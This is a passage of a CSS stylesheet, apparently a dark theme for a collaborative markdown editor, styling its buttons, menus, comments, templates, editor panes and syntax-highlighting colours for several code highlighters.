#8e8e8e; } .multi-select-dropdown-menu .dropdown-options .ui-option:hover { background-color: #4d4d4d; color: #eee; } #overview-control-form #overview-keyword-input-container .select2-container { background-color: #3e4045 !important; } #overview-control-form #overview-keyword-input-container .select2-container .select2-choices { background-color: #3e4045; } .search { background-color: #3e4045; color: #eee; } .btn.btn-gray { background: #1b1b1b; } .btn.btn-gray:hover { background: #4d4d4d; color: #eee; } .search::placeholder, .search::-webkit-input-placeholder, .search:-moz-placeholder, .search::-moz-placeholder, .search:-ms-input-placeholder { color: #eee; } .btn.btn-gray { border-color: #6d6d6d; background: #333; color: #eee; } .select2-default { color: #eee !important; } .select2-results .select2-highlighted { background: #4d4d4d; color: #eee; } .select2-container-multi .select2-choices { background: #3e4045; } .select2-container-multi .select2-choices .select2-search-choice { background: #131313; color: #eee; border-color: #555; box-shadow: none; } .btn-default, .btn-default:focus { color: #eee; background-color: #2e2e2e; border-color: #6a6a6a; } .btn-default.active.focus, .btn-default.active:focus, .btn-default.active:hover, .btn-default:active.focus, .btn-default:active:focus, .btn-default:active:hover, .open>.dropdown-toggle.btn-default.focus, .open>.dropdown-toggle.btn-default:focus, .open>.dropdown-toggle.btn-default:hover { background: #737373; } .btn-default:hover { color: #fff; background-color: #7d7d7d; border-color: #6a6a6a; } .overview-widget-group .btn.active { background-color: #6a6a6a; color: #eee; } .overview-widget-group .btn:hover { background-color: #7d7d7d; color: #eee; border-color: #636363; } .overview-widget-group .slider.round { border-color: #ccc; } .overview-widget-group .slider.round:before { border-color: #ccc; } .overview-widget-group input:checked+.slider { background-color: #ccc; } .ui-category-description-icon a { color: #eee; } .item .ui-history-pin.active { color: #f00; } .ui-history-close { color: #eee; opacity: 0.5; } .pagination>li>a, .pagination>li>span { color: #eee; background-color: #2e2e2e; border-color: #6a6a6a; } .pagination>li>a:hover { color: #fff; background-color: #7d7d7d; border-color: #6a6a6a; } .pagination>.disabled>a, .pagination>.disabled>a:focus, .pagination>.disabled>a:hover, .pagination>.disabled>span, .pagination>.disabled>span:focus, .pagination>.disabled>span:hover { color: #eee; background-color: #2e2e2e; border-color: #6a6a6a; } .pagination.dark>li>a, .pagination.dark>li>span { color: #aaa; } /*--------------- new overview ---------------*/ .overview-component .list li .item { background: #1c1c1c; color: #fff; } .overview-component .list li:hover .item, .overview-component .list li:focus .item { background: #404040; } .overview-component .list li p { color: #ccc; } .overview-component .list li .item { color: #888888; } .overview-component .ui-overview-pin { opacity: 1; } /*--------------- settings ---------------*/ .section .form-horizontal .form-group .btn-default { font-size: 16px; border-color: #6d6d6d; background-color: #333; color: #FFF; } .section .form-horizontal .form-group .btn-default:hover, .section .form-horizontal .form-group .btn-default:focus { background-color: #737373; color: #FFF; } .section .form-horizontal .form-control:focus { border-color: #bbb; } /*--------------- share view ---------------*/ #notificationLabel, .ui-infobar .btn.ui-edit { color: #eee; border-color: #6a6a6a; } .ui-infobar__user-info li { color: #bbb; } footer { background: #101010; color: #bbb; border-top: 1px solid #454545; } footer a { color: #bbb; } /*--------------- doc view ---------------*/ .markdown-body h1, .markdown-body h2, .markdown-body h3, .markdown-body h4, .markdown-body h5, .markdown-body h6, #doc>h1 { color: #ddd; border-color: #777 !important; } .markdown-body hr { background-color: #7e7e7e; } .h1 .small, .h1 small, .h2 .small, .h2 small, .h3 .small, .h3 small, .h4 .small, .h4 small, .h5 .small, .h5 small, .h6 .small, .h6 small, h1 .small, h1 small, h2 .small, h2 small, h3 .small, h3 small, h4 .small, h4 small, h5 .small, h5 small, h6 .small, h6 small { color: #ddd; } .markdown-body p { color: #ddd; } .markdown-body a { color: #7bf; } .markdown-body a code { color: #7bf !important; } .markdown-body ul li, .markdown-body ol li { color: #ddd; } .markdown-body blockquote { color: #ddd; border-left-color: #777; font-size: 16px; } .markdown-body code, code { color: #dfdfdf !important; background-color: #424a55; } .markdown-body code { padding: 1px 2px; } .markdown-body pre { background-color: #1e1e1e; border: 1px solid #555 !important; color: #dfdfdf; } .markdown-body details { margin-bottom: 16px; } blockquote .small, blockquote footer, blockquote small { color: #bbb; } .mark, mark { background-color: rgba(255, 255, 0, 0.32) !important; color: #ddd; margin: .1em; padding: .1em .2em; } /* Todo list */ .task-list-item-checkbox { margin: 0.18em 0 0.2em -1.3em !important; } .task-list-item input[type=checkbox] { -webkit-appearance: none; -moz-appearance: none; appearance: none; position: relative; top: -1px; margin: 0 1rem 0 0; cursor: pointer; } .task-list-item input[type=checkbox]::before { -webkit-transition: all 0.1s ease-in-out; -moz-transition: all 0.1s ease-in-out; transition: all 0.1s ease-in-out; content: ""; position: absolute; left: 0; z-index: 1; width: 16px; height: 16px; border: 2px solid #F44336; } .task-list-item input[type=checkbox]:checked::before { -webkit-transform: rotate(-48deg); -moz-transform: rotate(-48deg); -ms-transform: rotate(-48deg); -o-transform: rotate(-48deg); transform: rotate(-48deg); height: 9px; border-color: #00E676; border-top-style: none; border-right-style: none; } .task-list-item input[type=checkbox]::after { content: ""; position: absolute; top: -0.125rem; left: 0; width: 16px; height: 16px; background: #333; cursor: pointer; } /* table */ .markdown-body table tr { background-color: #1e1e1e; border-color: #626262; } .markdown-body table tr:last-child { border-bottom: 1px solid #626262; } .markdown-body table tr:nth-child(2n) { background-color: #333; } .markdown-body table tr th { color: #64B5F6; } .markdown-body table th, .markdown-body table td { border: none; border-color: #626262; } .markdown-body table tr td { color: #ddd; } .markdown-body table tr th:first-child, .markdown-body table tr td:first-child { border-left: 1px solid #626262; } .markdown-body table tr th:last-child, .markdown-body table tr td:last-child { border-right: 1px solid #626262; } .markdown-body pre.flow-chart, .markdown-body pre.sequence-diagram, .markdown-body pre.graphviz, .markdown-body pre.mermaid, .markdown-body pre.abc { background-color: #fff !important; } /* alert */ .alert-danger h1, .alert-danger h2, .alert-danger h3, .alert-danger h4, .alert-danger h5, .alert-danger h6, .alert-danger p, .alert-danger mark, .alert-danger ul li, .alert-danger ol li { color: #721c24; } .alert-danger hr { background-color: #721c24; } .alert-warning h1, .alert-warning h2, .alert-warning h3, .alert-warning h4, .alert-warning h5, .alert-warning h6, .alert-warning p, .alert-warning mark, .alert-warning ul li, .alert-warning ol li { color: #856404; } .alert-warning hr { background-color: #856404; } .alert-success h1, .alert-success h2, .alert-success h3, .alert-success h4, .alert-success h5, .alert-success h6, .alert-success p, .alert-success mark, .alert-success ul li, .alert-success ol li { color: #155724; } .alert-success hr { background-color: #155724; } .alert-info h1, .alert-info h2, .alert-info h3, .alert-info h4, .alert-info h5, .alert-info h6, .alert-info p, .alert-info mark, .alert-info ul li, .alert-info ol li { color: #004085; } .alert-info hr { background-color: #004085; } .alert a { color: #002752; font-weight: 700; } .alert h1:first-child, .alert h2:first-child, .alert h3:first-child, .alert h4:first-child, .alert h5:first-child, .alert h6:first-child { margin-top: 0; } .markdown-body .alert>p { margin-top: 0px; margin-bottom: 10px; } .markdown-body .alert>ul, .markdown-body .alert>ol { margin-bottom: 16px; } .markdown-body .alert>*:last-child { margin-bottom: 0; } .alert-warning { background-color: #fff3cd; border-color: #ffeeba; } .alert-danger mark { background-color: #ffb7b7 !important; } .alert-warning mark { background-color: #ffe966 !important; } .alert-success mark { background-color: #b9e990 !important; } .alert-info mark { background-color: #b1d6ff !important; } /* scroll bar */ .ui-edit-area .ui-resizable-handle.ui-resizable-e { background-color: #303030; border: 1px solid #303030; box-shadow: none; } /* info bar */ .ui-infobar { color: #999; } /* permission */ .permission-popover-btn-group .btn.focus, .permission-popover-btn-group .btn:active, .permission-popover-btn-group .btn:focus, .permission-popover-btn-group .btn.active { background-color: #6a6a6a !important; color: #eee !important; border-color: #555 !important; } .permission-popover-btn-group .btn:hover, .permission-popover-btn-group .btn.active:hover { background-color: #7d7d7d !important; color: #eee !important; border-color: #636363 !important; } .ui-delete-note:hover, .ui-delete-note:focus, .ui-delete-note:active { background-color: #dc3545 !important; } .ui-invitee-invite { border-color: #8e8e8e !important; } .ui-invitee-invite:hover, .ui-invitee-invite:focus { background-color: #737373; color: #eee !important; } .ui-no-invitee-label { color: #ccc !important; } .select2-container { background: #202020; } .select2-container-multi .select2-choices .select2-search-field input { color: #eee; } .select2-container-multi .select2-choices .select2-search-field input.select2-active { color: #000; } .select2-drop { background: #202020; color: #eee; } .select2-results .select2-no-results, .select2-results .select2-searching, .select2-results .select2-ajax-error, .select2-results .select2-selection-limit { background: #202020; } /* table of contents block*/ .ui-toc-dropdown { width: 42vw; max-height: 90vh; overflow: auto; text-align: inherit; } /* table of contents text*/ .ui-toc-dropdown .nav>li>a { font-size: 14px; font-weight: bold; color: #ddd; } /* table of contents text: active*/ .ui-toc-dropdown .nav>.active:focus>a, .ui-toc-dropdown .nav>.active:hover>a, .ui-toc-dropdown .nav>.active>a { color: #7bf; border-left-color: #7bf; } /* table of contents text: focus, hover*/ .ui-toc-dropdown .nav>li>a:focus, .ui-toc-dropdown .nav>li>a:hover { color: #7bf; border-left-color: #7bf; } /* drop down floating table of contents */ .ui-toc-dropdown.dropdown-menu { background: #333; } .toc-menu a { color: #ddd; } .toc-menu a:focus, .toc-menu a:hover { color: #7bf; } /*--------------- editor ---------------*/ .cm-m-markdown { color: #ddd; } .cm-s-one-dark .cm-header, .cm-m-xml.cm-attribute { color: #ffa653; } .cm-m-markdown.cm-variable-3 { color: #ff7e7e; } .cm-s-one-dark .cm-string, .cm-s-one-dark .cm-variable-2, .cm-s-one-dark .cm-m-markdown.cm-url{ color: #7bf; } .cm-s-one-dark .cm-m-markdown.cm-link { color: #b0ee83; } .cm-s-one-dark .CodeMirror-linenumber { color: #666; } .cm-strong { color: #f4511e; } .cm-s-one-dark .cm-comment { color: #a9a9a9; } .cm-matchhighlight { color: #ffea00; } .cm-positive { color: #11bf64; } .cm-negative { color: #ff3e3e; } .dropdown-menu.CodeMirror-other-cursor { border: 2px solid #4d4d4d; background-color: #202020; } .dropdown-menu.CodeMirror-other-cursor li a { color: #ececec; } /*--------------- book mode ---------------*/ .topbar { background: #1e1e1e; } .btn.focus, .btn:focus, .btn:hover { color: #fff; background-color: #333; } .summary { background: #1e1e1e; } .summary, .toolbar { background: #1e1e1e !important; border-color: #4d4d4d !important; } .toolbar i { color: #fff; } .summary h1, .summary h2, .summary h3 .summary hr { color: #ddd; border-color: #777 !important; } .summary .nav>li>a { color: #7bf; } .summary .nav-pills>li.active>a, .summary .nav-pills>li.active>a:focus, .summary .nav-pills>li.active>a:hover { color: #ff9100; } .ui-summary-search { font-size: 16px; border: 1px solid #6D6D6D; background-color: #333; color: #FFF; } .summary h1, .summary h2, .summary h3, .summary h4, .summary h5, .summary h6 { border-color: #454545; } /* fix body background color to dark */ div[class$=container-mask] { background: #1e1e1e; z-index: 1; display: block; } /* notification */ .dropdown.ui-notification .ui-notification-label, .dropdown.ui-invitee .ui-invitee-label { color: #eee; border-color: #6a6a6a; } .ui-notification .dropdown-menu { border-top: 1px solid #555; } /*--------------- help ---------------*/ .modal-header { background-color: #2a2a2a; } .panel-default { border-color: #6d6d6d; } .panel-default>.panel-heading { background-color: #2a2a2a; color: #eee; border-color: #6d6d6d; } .panel-body { background: #2e2e2e; } .panel-body a { color: #7bf; } .table>tbody>tr>td, .table>tbody>tr>th, .table>tfoot>tr>td, .table>tfoot>tr>th, .table>thead>tr>td, .table>thead>tr>th { border-color: #6d6d6d; } /*--------------- comment ---------------*/ .ui-comment-container .ui-comment-header { background-color: #2a2a2a; color: #eee; border-color: #6d6d6d; } .ui-comment-container { background-color: #2e2e2e; border-color: #6d6d6d; } .ui-comment-container .ui-comments-container .ui-comment .comment-author { color: #eee; } .ui-comment-container .ui-comments-container .ui-comment .timestamp { color: #aaa; } .ui-comment-container .ui-comments-container .ui-comment .comment-content { color: #eee; } .ui-comment-container .ui-comments-container .ui-comment .comment-menu { color: #eee; } .ui-comment-container .ui-comments-container .ui-comment .comment-menu .comment-dropdown-menu { background: #222; color: #eee; border-color: #555; } .ui-comment-container .ui-comments-container .ui-comment .comment-menu .comment-dropdown-menu>div:hover { background-color: #555555; color: #eee; } .ui-comment-container .ui-comments-container .ui-comment .comment-menu:hover, .ui-comment-container .ui-comments-container .ui-comment .comment-menu:active, .ui-comment-container .ui-comments-container .ui-comment .comment-menu.active { background-color: #737373; color: #eee; } .ui-comment-container .ui-comment-input-container { background-color: #3c3c3c; } .ui-comment-container textarea { background-color: #3e4045; color: #eee; border: 1px solid #6d6d6d; } .ui-comment-container textarea::placeholder, .ui-comment-container textarea::-webkit-input-placeholder, .ui-comment-container textarea:-moz-placeholder, .ui-comment-container textarea::-moz-placeholder, .ui-comment-container textarea:-ms-input-placeholder { color: #eee; } @keyframes highlight { 0% { background-color: #3c3c3c; } 30% { background-color: #3c3c3c; } 100% { background-color: transparent; } } /*--------------- template ---------------*/ .template-content .modal-header { background: #2a2a2a; } .template-content .close { color: #fff; } .template-content .modal-title { color: #eee; } .template-content .ui-templates-container { border-color: #6d6d6d; } .ui-templates-container .ui-create-template-btn { background: #446fab; color: #fff; } .ui-template-list-filter .ui-template-list-filter-label, .ui-template-list-filter .ui-template-list-filter-label:hover { color: #eee; } .ui-template-list .list-group-item.active { background: #4d4d4d; } .ui-template-list .list-group-item.active:focus { background: #4d4d4d !important; } .list-group-item.active, .list-group-item.active:focus, .list-group-item.active:hover { color: #eee; } .ui-template-list .list-group-item .list-group-item-heading { color: #eee; } .ui-template-list .list-group-item.active .list-group-item-heading { color: #eee; } .ui-template-list .list-group-item:hover { background: #4d4d4d !important; } .ui-template-item-menu { color: #eee !important; } .ui-template-list .list-group-item { color: #fff; } .ui-template-list .list-group-item .dropdown-container.open { background-color: #2a2a2a; } .ui-template-list .list-group-item .dropdown-container:hover { background-color: #2a2a2a !important; } .template-menu .more-template { border-color: #6d6d6d; } .template-menu .more-template:hover { color: #eee; border-color: #6d6d6d; } /*--------------- code mirror ---------------*/ .modal-content { background: #1f2226; } .modal-header { border-bottom: 1px solid #46484f; } .modal-footer { border-top: 1px solid #46484f; } a.list-group-item { background: #1f2226; color: #ddd; border: 1px solid #46484f; } a.list-group-item .list-group-item-heading { color: #ddd; } a.list-group-item:focus, a.list-group-item:hover { background: #434651; color: #ddd; } button.close { color: #ddd; opacity: .5; } .close:focus, .close:hover { color: #fff; opacity: .8; } .CodeMirror { background: #1f2226; } .CodeMirror-gutters { background: #1f2226; border-right: 1px solid rgba(204, 217, 255, 0.1); } .cm-s-default .cm-comment { color: #888; } .cm-s-default .cm-quote { color: #ddd; } .cm-s-default .cm-header { color: #ffa653; } .cm-s-default .cm-link { color: #b0ee83; } .cm-s-default .cm-string, .cm-s-default .cm-variable-2 { color: #7bf; } .cm-s-default .cm-def { color: #c678dd; } .cm-s-default .cm-number, .cm-s-default .cm-attribute, .cm-s-default .cm-qualifier, .cm-s-default .cm-plus, .cm-s-default .cm-atom { color: #eda35e; } .cm-s-default .cm-property, .cm-s-default .cm-variable, .cm-s-default .cm-variable-3, .cm-s-default .cm-operator, .cm-s-default .cm-bracket { color: #f76e79; } .cm-s-default .cm-keyword, .cm-s-default .cm-builtin, .cm-s-default .cm-tag { color: #98c379; } .modal-title { color: #ccc; } .modal-body { color: #ccc !important; } div[contenteditable]:empty:not(:focus):before { color: #aaa; } .CodeMirror pre { color: #ddd; } .CodeMirror pre span[style^="background-color: rgb(221, 251, 230)"] { background-color: #288c27 !important; } .CodeMirror pre span[style^="background-color: rgb(249, 215, 220)"] { background-color: #a52721 !important; } /*------- code highlight: Visual Stutdio Code theme for highlight.js -------*/ .hljs { background: #1E1E1E; color: #DCDCDC; } .hljs-keyword, .hljs-literal, .hljs-symbol, .hljs-name { color: #569CD6; } .hljs-link { color: #569CD6; text-decoration: underline; } .hljs-built_in, .hljs-type { color: #4EC9B0; } .hljs-number, .hljs-class { color: #B8D7A3; } .hljs-string, .hljs-meta-string { color: #D69D85; } .hljs-regexp, .hljs-template-tag { color: #d16969; } .hljs-title { color: #dcdcaa; } .hljs-subst, .hljs-function, .hljs-formula { color: #DCDCDC; } .hljs-comment, .hljs-quote { color: #57A64A; } .hljs-doctag { color: #608B4E; } .hljs-meta, .hljs-meta-keyword, .hljs-tag { color: #9B9B9B; } .hljs-variable, .hljs-template-variable { color: #BD63C5; } .hljs-params, .hljs-attr, .hljs-attribute, .hljs-builtin-name { color: #9CDCFE; } .hljs-section { color: gold; } .hljs-emphasis { font-style: italic; } .hljs-strong { font-weight: bold; } /* .hljs-code { font-family:'Monospace'; } */ .hljs-bullet, .hljs-selector-tag, .hljs-selector-id, .hljs-selector-class, .hljs-selector-attr, .hljs-selector-pseudo { color: #D7BA7D; } .hljs-addition { background-color: #155a36; color: #dfdfdf; display: inline-block; width: 100%; } .hljs-deletion { background-color: #872e2e; color: #dfdfdf; display: inline-block; width: 100%; } /*---------- code highlight: Visual Stutdio Code theme for Prism.js ----------*/ code[class*="language-"], pre[class*="language-"] { color: #DCDCDC; } :not(pre)>code[class*="language-"], pre[class*="language-"] { background: #1E1E1E; } .token.comment, .token.block-comment, .token.prolog, .token.cdata { color: #57A64A; } .token.doctype, .token.punctuation { color: #9B9B9B; } .token.tag, .token.entity { color: #569CD6; } .token.attr-name, .token.namespace, .token.deleted, .token.property, .token.builtin { color: #9CDCFE; } .token.function, .token.function-name { color: #dcdcaa; } .token.boolean, .token.keyword, .token.important { color: #569CD6; } .token.number { color: #B8D7A3; } .token.class-name, .token.constant { color: #4EC9B0; } .token.symbol { color: #f8c555; } .token.rule { color: #c586c0; } .token.selector { color: #D7BA7D; } .token.atrule { color: #cc99cd; } .token.string, .token.attr-value { color: #D69D85; } .token.char { color: #7ec699; } .token.variable { color: #BD63C5; } .token.regex { color: #d16969; } .token.operator { color: #DCDCDC; background: transparent; } .token.url { color: #67cdcc; } .token.important, .token.bold { font-weight: bold; } .token.italic { font-style: italic; } .token.entity { cursor: help; } .token.inserted { color: green; } /*---------- code highlight: dark theme for Gist ----------*/ .gist .gist-file { border: 1px solid #555; } .gist .gist-data { background-color: #1e1e1e; border-bottom: 1px solid #555; } .gist .gist-meta { background-color: #424a55; color: #eee; } .gist .gist-meta a { color: #eee; } .gist .highlight { color: #eee; background-color: #1e1e1e; } .gist .blob-num { color: #afafaf; } .gist .blob-code-inner { color: #dfdfdf; } .pl-mb { color: #fff !important; } .pl-c { color: #57A64A !important; } /* comment */ .pl-ent { color: #569CD6 !important; } /* entity */ .pl-e { color: #9CDCFE !important; } .pl-en { color: #4EC9B0 !important; } /* entity attribute */ .pl-smi { color: #9CDCFE !important; } .pl-k { color: #569cd6 !important; } .pl-c1, .pl-s .pl-v { color: #4EC9B0 !important; } .pl-pds, .pl-s, .pl-s .pl-pse .pl-s1, .pl-sr, .pl-sr .pl-cce, .pl-sr .pl-sra, .pl-sr .pl-sre, .pl-s .pl-s1 { color: #D69D85 !important; } .pl-s .pl-s1 .pl-pse { color: #c5dbff !important; } /* strings */ .diff-table .pl-c, .diff-table .pl-ent, .diff-table .pl-e, .diff-table .pl-en, .diff-table .pl-pds, .diff-table .pl-s, .diff-table .pl-s .pl-s1, .diff-table .pl-s .pl-pse .pl-s1, .diff-table .pl-sr, .diff-table .pl-sr .pl-cce, .diff-table .pl-sr .pl-sra, .diff-table .pl-sr .pl-sre, .diff-table .pl-k, .diff-table .pl-smi, .diff-table .pl-c1, .diff-table .pl-v { color: #eee !important; } </style>